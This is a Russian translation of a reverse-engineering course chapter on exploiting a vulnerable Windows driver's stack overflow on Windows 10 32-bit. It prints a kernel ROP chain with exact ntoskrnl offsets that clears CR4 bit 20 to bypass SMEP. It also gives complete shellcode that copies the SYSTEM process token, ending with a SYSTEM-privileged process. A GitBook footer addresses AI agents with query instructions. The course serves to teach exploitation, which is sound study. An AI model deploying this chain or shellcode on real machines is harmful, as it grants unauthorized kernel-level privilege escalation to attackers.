> For the complete documentation index, see [llms.txt](https://yutewiyof.gitbook.io/intro-rev-ida-pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://yutewiyof.gitbook.io/intro-rev-ida-pro/chast-62.md).

# Часть 62

[\[Используемые материалы\]](https://github.com/yutewiyof/intro-rev-ida-pro/tree/e1367e11cc661f3d69c02ae5f733b7dd168bc5ab/.gitbook/assets/files/62.zip)

Мы возвращаемся после праздников с новыми туториалами. В этом туториале мы увидим вариант эксплуатации того же самого драйвера, который мы видели для **WINDOWS 7 32** бит. Только теперь сделаем для **WINDOWS 10 32** бит.

Разница, как мы сказали, состоит в **SMEP**. Это защита позволяет избежать перехода ядра на выполнение страниц, помеченных как пользовательские. Как мы делали в примерах, которые мы видели до сих пор, мы выделяли страницу в пользовательском режиме с разрешением на выполнение. Когда мы берем на себя контроль на страницей, мы переходим туда, где находится наш шеллкод.

Тот, кто хочет углубиться по теме **SMEP**, здесь есть очень хорошее объяснение. Но оно английском языке.

[https://www.coresecurity.com/system/files/publications/2016/05/Windows SMEP bypass U=S.pdf](https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf)

![](/files/-Ljtdyqik8wdMOhvHYYl)

Бит **20** отладочного регистра **CR4** - это бит, который активирует защиту **SMEP**. Следовательно, для того, чтобы защита не работала, необходимо будет сбросить этот бит с помощью **ROP** перед тем, как перейти к выполнению блока, выделенного в режиме пользователя.

![](/files/-LjtdyqxlyRNGZ9mx6FM)

Здесь мы видим **BUF**, который был исполняемым буфером, созданным в пользовательском режиме с правами на выполнение, куда затем мы сразу переходим на выполнение, когда мы провоцируем переполнение и перезаписываем адрес возврата.

![](/files/-Ljtu3xLbEBBzrEUy56u)

Здесь с адресом пользовательского буфера мы перезаписывали адрес возврата таким значением.

```python
struct.pack("<L", 0x0BAD0B0B0)
```

Программа не позволяет нам копировать данные дальше, так как она выходит из цикла и заканчивает копирование.

![](/files/-MX3mHsx0clZLVVerH_p)

Прежде всего, мы должны сказать, что для того, чтобы **WINDOWS 10** функционировал как узел отладки ядра, после установки **VKD**, как мы видели в предыдущих главах, и перед перезапуском **VKD** необходимо набрать только один раз в консоли с правами администратора такую команду.

```
BCDEDIT /dbgsettings serial
```

И здесь согласиться. Мы перезагрузим компьютер. Другая вещь, которую вы увидите состоит в том, что после перезагрузки произойдет нечто подобное.

![](/files/-Ljtu3xs8vGwdgYWHIZv)

Где мы должны нажать **F8**.

![](/files/-Ljtdyrc-hVnGz9WUd36)

И здесь отключаем подпись драйверов умышленно, что мешает нам загрузить драйвер **VKD**. Кроме того, это позволит нам загрузить драйвер, для эксплуатации, который явно не подписан.

В случае эксплуатации драйвера какой-либо программы или аппаратного обеспечения, он будет подписан и загружен без проблем.

После всего этого запустится **WINDBG** и прервется. Мы продолжаем нажимать **G**. Отладчик продолжит выполнение до тех пор, пока не запустится система.

![](/files/-Ljtu3yPtSZjHKUHC_sc)

Я загружаю драйвер с помощью **OSRLOADER**.

![](/files/-Ljtu3yaSBlouP0CwJY7)

Затем нажимаю **REGISTER SERVICE**.

![](/files/-Ljtdys2bNxB2JNlAQLM)

И наконец **START SERVICE**.

Мы уже знаем, что если мы хотим протестировать эксплоиты в **PYTHON**, нам нужно будет установить его на целевой машине и поместить в переменные окружения. В противном случае нам придется скомпилировать его в **C** или **C++** со встроенной библиотекой выполнения, которая работает без проблем.

Теперь мы должны

1. Добавить **ROP**, который отключит **SMEP** (должна быть определена точная версия **WINDOWS)**
2. Изменить шеллкод, чтобы украсть токен, который мы использовали в **WINDOWS 7**, который здесь не будет работать, потому что структуры немного изменены.

Помните, что **ROP** зависим от версии системы. В моем случае **NTOSKRNL.EXE** версии **10.0.15063.483**

![](/files/-Ljtdz-hOruzlF5LAQIA)

Что соответствует этой версии **WINDOWS**. В другой версии он работать не будет.

![](/files/-MX3mHtyBNilymZfnTNT)

Конечно, из консоли обычного пользователя вы можете узнать версию **WINDOWS**. Поэтому в профессиональном эксплоите версия будет обнаруживаться автоматически и в зависимости от неё, будет отправлен соответствующий **ROP**.

Но в моем случае я сделаю это только для этой версии. Я не хочу так много работать. Вы сами на практике, можете это сделать вместо меня.

![](/files/-Ljtu3zGYuYM426s4RZQ)

Я установлю **BP** на выходе из цикла, но перед выходом из **WINDBG** я посмотрю на значение регистров. Затем выполню **DEBUG-BREAK**.

![](/files/-Ljtu3zWOybDbKPbd3eW)

Здесь мы должны увидеть все регистры. Также существует команда **R** + **РЕГИСТР**, чтобы увидеть регистры отладки.

![](/files/-Ljtdysc5NuXACpB3oL7)

Мы видим, что значение регистра **CR4** равно **0x6E9** и очевидно, что бит **20** отключен. Но, как это может быть, если я в **WINDOWS 10**.

Если я перейду к двоичному представлению числа **0x6E9**.

```
bin(0x6E9)
0B11011101001
```

Младший бит равен **0**. Очевидно, что происходит заполнение нулями влево до завершения **32х** бит.

> 0b000000000000**0**000000000**11011101001**

Жирным шрифтом выделен бит **20**, и он равен нулю, поэтому на этой машине я могу работать без проблем с **SMEP**.

![](/files/-Ljtdysi_22FW9qcgGUz)

Я подозреваю что у меня старая версия **VMWARE**, которая не поддерживает **SMEP**, или что хостовая машина очень стара. На всякий случай я установил **VMWARE 14** и когда я повторяю процедуру с той же самой целью **WINDOWS 10**.

![](/files/-LjtdysoFPdmJO0flW4R)

Хорошо. Это еще одно значение. Если мы посмотрим это значение в двоичном виде.

> bin(0x1406E9)
>
> '0b**1**01000000011011101001'

Мы видим, что бит **20** равен **1**, поэтому здесь **SMEP** включен.

Есть ли способ без отладки ядра, т.е. через пользовательскую программу, узнать, включен ли **SMEP**?

```python
SHELLCODE = "\X33\XC9"
SHELLCODE += "\X33\XC0"
SHELLCODE += "\X33\XDB"
SHELLCODE += "\XB8\X07\X00\X00\X00" # "MOV EAX,7"
SHELLCODE += "\X0F\XA2" # "CPUID"
SHELLCODE += "\X8B\XC3" # "MOV EAX,EBX"
SHELLCODE += "\XC3" # "RET"
```

Я выполняю этот код в программе пользовательского режиме. Мне возвращается в регистре **EAX** значение если включен **SMEP** или нет.

Здесь я обнулил регистры вместо **XOR** и написал две необходимые инструкции, чтобы увидеть, что они вернут в регистр **EBX** на машине, на которой не включен **SMEP**.

![](/files/-Ljtu4-K4la0_rSEvgFT)

**EBX** содержит **2**.

Я готовлюсь сделать тест на другой машине.

![](/files/-Ljtu4-lWjxE0-fG0X1s)

Мы видим, что **EBX** содержит совсем другое значение равное **0x001C2FBB**.

![](/files/-LjtdytFQB-hcuaw_Qgd)

Я выполняю операцию **AND** над результатом и значением **0x80**.

```
hex(0x80 & 0x001C2FBB)
'0x80'
hex(0x80 & 0x002)
'0x0'
```

Мы видим, что если результат равен нулю, **SMEP** отсутствует, а если он отличается от нуля, **SMEP** существует.

Можно ли сделать этот тест из **PYTHON**? Давай посмотрим.

Я использую этот модуль **CPUID**.

<https://github.com/flababah/cpuid.py>

И положу его в ту же папку скрипта.

![](/files/-Ljtu40atujPgA3BoHdn)

Это даст мне значение регистров. Второе значение, это регистр **EBX**, который равен **2** на машине без **SMEP**.

![](/files/-LjtdytQ7-SlzG6HsgFl)

Мне возвращается десятичное значение, которое я получил раньше.

![](/files/-LjtdytVc6YbK8BA_rYH)

Таким образом, я могу добавить код в начало моего скрипта, чтобы он обнаруживал, включен ли **SMEP** или нет.

Хорошо. У нас уже есть почти все. Нам нужен **ROP**, шеллкод и чтение адреса базы **NT**, чтобы можно было исполнить там цепочку **ROP**.

Вы скажете, как я получу гаджеты в ядре? С **MONA** это не получится, а **IDASPLOITER** не возвращает результаты даже в ядре, поэтому он не работает для нас.

<https://drive.google.com/open?id=1VbN3kipWQe9ti7WGheGSmbG9xOn4uaQW>

Здесь есть утилита для поиска гаджетов в статической форме, будь то модуль ядра или что-то еще. Вы передаете ему имя и количество максимальных гаджетов, и он ищет гаджеты для вас, чтобы потом сохранить их в текстовом файле, чтобы затем разобрать их с комфортом.

![](/files/-Ljtu423Jl5lnTQuHR60)

```
RP-WIN-X86.EXE -F NTOSKRNL.EXE -R 5 > PEPE.TXT
```

Хорошо. C помощью этой команды мы сохраним все гаджеты в текстовом файле с именем **PEPE.TXT**.

![](/files/-Ljtu42Q0dB0v-XuTP2j)

Это большой файл. Но это и мощный инструмент, который служит и находит гаджеты в любом модуле.

Чтобы найти базу **NT**, мы используем **ENUMDEVICEDRIVERS**, который возвращает список с именами и базами всех драйверов. Обычно **NT** является первым, но мы можем сравнивать имя в цикле, пока не найдем нужный нам модуль и не найдем базу для него. Я вижу, что если я выполню скрипт после импорта отсутствующих модулей, скрипт будет работать и печатать базу **NT**.

![](/files/-Ljtdyu15BDK66iBn7Z3)

Короче говоря, я обнаружил, что эти гаджеты, предназначенные для чтения регистра **CR4**, помещают в регистр **ECX** значение **0xFFEFFFFF**, затем исполняется инструкция **AND EAX ECX** которая сбрасывает **20** бит, а затем сохраняют его снова в **CR4**. Это и есть наш **ROP**.

```python
INPUT = STRUCT.PACK("<I", NT + 0X11FC10) # MOV EAX, CR4 - RET
INPUT += STRUCT.PACK("<I", 0X75757575) # JUNK
INPUT += STRUCT.PACK("<I", 0X76767676) # JUNK
INPUT += STRUCT.PACK("<I", NT + 0X51976F) # POP ECX; RET
INPUT += STRUCT.PACK("<I", 0XFFEFFFFF) # TO DISABLE SMEP
INPUT += STRUCT.PACK("<I", NT + 0X50095C) # AND EAX,ECX; RET
INPUT += STRUCT.PACK("<I", NT + 0X22F2DA) # MOV CR4,EAX; RET4
```

Проблема в том, что я не могу поместить шеллкод под адресом возврата просто так, потому что там под адресом возврата находится указатель на источник, который читается, и если я перезапишу его, то может случиться сбой. Нужно сделать всё правильно.

![](/files/-LjtdyuGMg0FMjH7Hfl7)

Я вижу что, передавая только один **DWORD** адреса возврата, перезаписывается указатель на **USERBUFFER**, который является источником, так что не так-то просто поместить **ROP** внизу.

```python
DATA = SHELLCODE + ((0X828 -LEN(SHELLCODE)) * "A") #SHELLCODE
DATA+= STRUCT.PACK("<I", NT + 0X51976F) #RETURN (POP ECX-RET)
DATA+= STRUCT.PACK("<L",INT(BUF)+0X82C) #PUNTERO A SOURCE QUE PISO
DATA+= INPUT # ROP
DATA+= STRUCT.PACK("<L",0X0BAD0B0B0 ) # FIN
```

Одной из возможностей было бы перезаписать этот указатель указателем на тот же шеллкод ниже. В этом случае у меня есть источник. Когда код перезаписывает его, он начинает указывать на начало моего шеллкода + **0x82C**, где находится **ROP**, поэтому код продолжает копировать его туда же ниже и ничего не сломается. Также я перезаписываю адрес возврата с помощью гаджета **POP ECX** - **RET**, чтобы при переходе к исполнению программа пропускала этот указатель на источник и переходила прямо к **ROP**, который был ниже.

Я могу расположить **ROP** так, чтобы в начале у меня было несколько **RET**, чтобы компенсировать то, что возвращается из **RET8**, и удалить промежуточные отступы.

```python
INPUT = STRUCT.PACK("<I", NT + 0X519770) *4 # RET
INPUT += STRUCT.PACK("<I", NT + 0X11FC10) # MOV EAX, CR4 - RET
INPUT += STRUCT.PACK("<I", NT + 0X51976F) # POP ECX; RET
INPUT += STRUCT.PACK("<I", 0XFFEFFFFF) # TO DISABLE SMEP
INPUT += STRUCT.PACK("<I", NT + 0X50095C) # AND EAX,ECX; RET
INPUT += STRUCT.PACK("<I", NT + 0X22F2DA) # MOV CR4,EAX; RET4
INPUT += STRUCT.PACK("<I", INT(BUF)) # A SHELLCODE
```

Когда я выполняю этот код, я прихожу в **RET**.

![](/files/-Ljtu43VONq_t_v69eiO)

И я начинаю трассировать.

![](/files/-Ljtu43joqbZT4LyfCCc)

Если вы не видите код, нажмите клавишу **F7**, а если все равно не видите, нужно создать там сегмент щелкнув правой кнопкой мыши.

![](/files/-Ljtu43uE9vOB5TNWGyW)

![](/files/-Ljtu446jxQWL0419fWO)

Низкий адрес начала сегмента, который охватывает область, где я нахожусь, и достаточно любого имени. Я снова нажимаю клавишу **F7**. И появляется код.

![](/files/-LjtdyvOIkCKVMNU6a_n)

Затем **ROP** переходит сюда.

![](/files/-Ljtdyv_ZrREyrIs-0K5)

Где значение **EAX** помещается в **CR4**. Затем идёт **POP ECX - RET**, где программа помещает в стек значение **0xFFEFFFFF**.

![](/files/-Ljtu44cRhniHlSoZyYs)

Затем идёт **AND** для сброса бита **20**.

![](/files/-Ljtdyw0xNVvcbuFJSvi)

А затем снова сохраняется измененное значение в регистр **CR4**.

![](/files/-Ljtu453zcgsj3sUqzXU)

Напомним, что это раньше это было значение **0x1406E9**, а теперь значение равно **0x406E9**, у которого сброшен бит **20**.

![](/files/-LjtdywLZTjNfmV_0jej)

> bin(0x406E9)
>
> '0b**0**01000000011011101001'

Затем остается перейти к самому шеллкоду, очень похожему на тот, что был в **WINDOWS 7**, но структуры меняются. Посмотрим.

![](/files/-Ljtu45PLz2_pybIC6qr)

Первое, это то что мы выполняем это **NOP**. Это означает, что **SMEP** выключен правильно. Но здесь машина может выйти из строя и перезагрузится.

![](/files/-Ljtdyw_GC7NF8yso3mK)

Напомним, что **FS:124** является указателем на структуру **ETHREAD**, объяснение, которой мы уже давали в **WINDOWS** 7. Здесь изменится только некоторое смещение.

![](/files/-Ljtdywf-4fEBTKaR98_)

В **WINDBG**, включенном в **IDA**, мы видим структуру для **WINDOWS 10**.

![](/files/-Ljtu469Cyd2vxdhMHq3)

Так как в первом поле находится **KTHREAD** оно занимает **0x350** байт. Поля, с которыми мы работаем, находятся внутри неё.

Мы видим, что здесь, в отличие от **WINDOWS 7**, этот **APCSTATE**, имеющий тип **\_KAPC\_STATE**, был со смещением **0x50**, здесь он со смещением **0x70**.

![](/files/-LjtdywvkCvmrPwbPO5q)

По смещению **0x10** этой структуры

![](/files/-Ljtdyx9O2SsbqsuRhom)

![](/files/-LjtdyxNLnY_6zuk25A3)

В **EAX** мы видим, что это знаменитая структура **EPROCESS** текущего процесса сохраняющаяся в **ECX**.

![](/files/-LjtdyxYEmXxSbWW9_ZQ)

Мы видим, что **PCB** который является типом **\_KPROCESS** находится по смещению **0**, поэтому он совпадает с адресом в **\_EPROCESS**. Проблема в том, что здесь шеллкод ищет смещение **0xFC** и, очевидно, он не находится его внутри **KPROCESS**, потому что длина равна **0xB0**, поэтому поле находится в **EPROCESS** чуть ниже.

![](/files/-Ljtu47TFZnQ6zEb5VRD)

Поэтому шеллкод читает токен текущего процесса по смещению **0xFC** и переносит его в регистр **EBX**.

![](/files/-Ljtu47dAtHFFPse7m7j)

А из поля **0xB8** читается **ACTIVEPROCESSLINKS**.

![](/files/-LjtdyyPpsvPxLFu1xhv)

Это мы объяснили в версии для **WINDOWS 7**.

![](/files/-LjtdyyX4sVm28eOn4of)

Это **FLINK**, другими словами он указывает на **ACTIVEPROCESSLINK** следующего процесса, так как он находится по смещению **0xB8**, поэтому нужно вычесть эту константу, чтобы найти **EPROCESS**следующего процесса.

![](/files/-Ljtu48vT0b0K52m4IOj)

Затем происходит сравнение содержимого по смещению **0xB4**, которое является **PID**, пока не найдется процесс **PID 4** или **SYSTEM**.

![](/files/-Ljtu49I5IkeRt3LWpME)

Как только шеллкод покидает **ЦИКЛ**, потому что он обнаружил процесс **SYSTEM**, в **EAX** остается его **EPROCESS**. Шеллкод читает токен по смещению **0xFC** и копирует его в текущий процесс **EPROCESS** который был в **ECX**.

Затем остается вернется правильно к процессу, без сбоев, что непросто. Токен готов.

Одна из техник заключается в том, чтобы трассировать программу, когда она проходит через ту же функцию, но без переполнения, и продолжить, когда она возвращается из каждой функции, и смотреть на стек, пытаясь увидеть, что при переполнении она возвращается аналогичным образом.

![](/files/-LjtdyyxhkLIIou-bgvm)

Поскольку здесь я возвращаюсь без переполнения, а затем здесь есть **RETN8**, и стек находится в этой позиции, поэтому программа вернется сюда.

![](/files/-Ljtu4ABj5HrxaJ09CHf)

Поэтому я пытаюсь вернуться в то же место, где стек находится в том же положении, когда есть переполнение, и я должен использовать **RETN8**.

Вы видите, что когда я вхожу, чтобы выполнить свой шеллкод, стек довольно похож.

![](/files/-Ljtu4ALbW3fXiYt9hRa)

Прибываю в **POPAD**.

![](/files/-LjtdyzMvLDKRSt8WXoG)

Со стеком всё хорошо. Поэтому я должен удалить инструкцию **ADD ESP**, **0C**, которая использовалась для другого эксплойта, удалить этот **PUSH** и изменить **RET** на **RETN 8**, и всё должно заработать.

Это можно сделать так.

```python
SHELLCODE = STRUCT.PACK("<I", 0X90909090)

# --[ SETUP]
SHELLCODE += "\X60" # PUSHAD
SHELLCODE += "\X64\XA1\X24\X01\X00\X00" # MOV EAX, FS:[KTHREAD_OFFSET]

# I HAVE TO DO IT LIKE THIS BECAUSE WINDOWS IS A LITTLE SPECIAL
# THIS JUST GETS THE EPROCESS. WINDOWS 7 IS 0X50, NOW ITS 0X80.
SHELLCODE += "\X8D\X40\X70" # LEA EAX, [EAX+0X70];
SHELLCODE += "\X8B\X40\X10" # MOV EAX, [EAX+0X10];
SHELLCODE += "\X89\XC1" # MOV ECX, EAX (CURRENT _EPROCESS STRUCTURE)

# WIN 10 RS2 X86 TOKEN_OFFSET = 0XFC
# WIN 07 SP1 X86 TOKEN_OFFSET = 0XF8
SHELLCODE += "\X8B\X98\XFC\X00\X00\X00" # MOV EBX, [EAX + TOKEN_OFFSET]

# --[ COPY SYSTEM PID TOKEN]
SHELLCODE += "\XBA\X04\X00\X00\X00" # MOV EDX, 4 (SYSTEM PID)
SHELLCODE += "\X8B\X80\XB8\X00\X00\X00" # MOV EAX, [EAX + FLINK_OFFSET]
SHELLCODE += "\X2D\XB8\X00\X00\X00" # SUB EAX, FLINK_OFFSET
SHELLCODE += "\X39\X90\XB4\X00\X00\X00" # CMP [EAX + PID_OFFSET], EDX
SHELLCODE += "\X75\XED" # JNZ

# WIN 10 RS2 X86 TOKEN_OFFSET = 0XFC
# WIN 07 SP1 X86 TOKEN_OFFSET = 0XF8
SHELLCODE += "\X8B\X90\XFC\X00\X00\X00" # MOV EDX, [EAX + TOKEN_OFFSET]
SHELLCODE += "\X89\X91\XFC\X00\X00\X00" # MOV [ECX + TOKEN_OFFSET], EDX

# --[ RECOVER]
SHELLCODE += "\X61" # POPAD
SHELLCODE += "\X31\XC0" # RETURN NTSTATUS = STATUS_SUCCESS
SHELLCODE += "\XC2\X08" # RET
```

Давайте попробуем это.

![](/files/-LjtdyzSxe8V-yvd5V0v)

Куда программа достигнет этой точки, будет ли она работать дальше? Нет.

Весьма вероятно, что дело в **POP EBP** когда не происходит переполнения.

![](/files/-Ljtu4BNqCJsG0VZY_i8)

Эта инструкция удаляет со стека значение.

![](/files/-Ljtdz-6eQJYQANYnZ0B)

**ESP** устанавливается в это значение.

Я поменяю здесь только **RETN**, а не **RETN**, поэтому происходит возврат и тогда я могу добавить **EBP** в свой шеллкод.

```python
INPUT = STRUCT.PACK("<I", NT + 0X519770) * 2 # RET
INPUT += STRUCT.PACK("<I", NT + 0X11FC10) # MOV EAX, CR4 - RET
INPUT += STRUCT.PACK("<I", NT + 0X51976F) # POP ECX; RET
INPUT += STRUCT.PACK("<I", 0XFFEFFFFF) # TO DISABLE SMEP
INPUT += STRUCT.PACK("<I", NT + 0X50095C) # AND EAX,ECX; RET
INPUT += STRUCT.PACK("<I", NT + 0X11FC1E) # MOV **CR4,EAX; RET**
INPUT += STRUCT.PACK("<I", INT(BUF)) # A SHELLCODE
```

И в начале моего шеллкода я помещаю **POP EBP** , чтобы вернуть значение из стека перед вызовом **PUSHAD**.

Теперь, если уже всё работает отлично, я запускаю блокнот, потому что **MICROSOFT** в **WINDOWS 10** иногда ограничивает использование калькулятора.

![](/files/-Ljtu4CopvNCVPeRhuil)

Здесь мы видим пользователя **SYSTEM**, другими словами мы смогли отключить **SMEP** и повысить привилегии в **32**-битной версии **WINDOWS 10**.

В **64** битных системах метод тот же. Конечно, вам нужно адаптировать смещения структур. Также вы должны сохранить значение регистра **CR4**, чтобы сделать вызов еще раз, чтобы вызвать второй **ROP**, чтобы восстановить значение, потому что, не в **64** битных системах **PATCH GUARD** время от времени сканирует и осознает изменения и происходит сбой системы, но сам по себе это тот же самый трудоемкий метод, но идея та же.

Автор оригинального текста — Рикардо Нарваха.

Перевод и адаптация на русский язык — Яша Яшечкин.

Перевод специально для форума системного и низкоуровневого программирования - WASM.IN

05.01.2018

[**Источник: ricardonarvaja.info**](http://ricardonarvaja.info/WEB/IDA%20DESDE%20CERO/CURSO%20DE%20IDA%20TUTES/62-INTRODUCCION%20AL%20REVERSING%20CON%20IDA%20PRO%20DESDE%20CERO.docx)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://yutewiyof.gitbook.io/intro-rev-ida-pro/chast-62.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
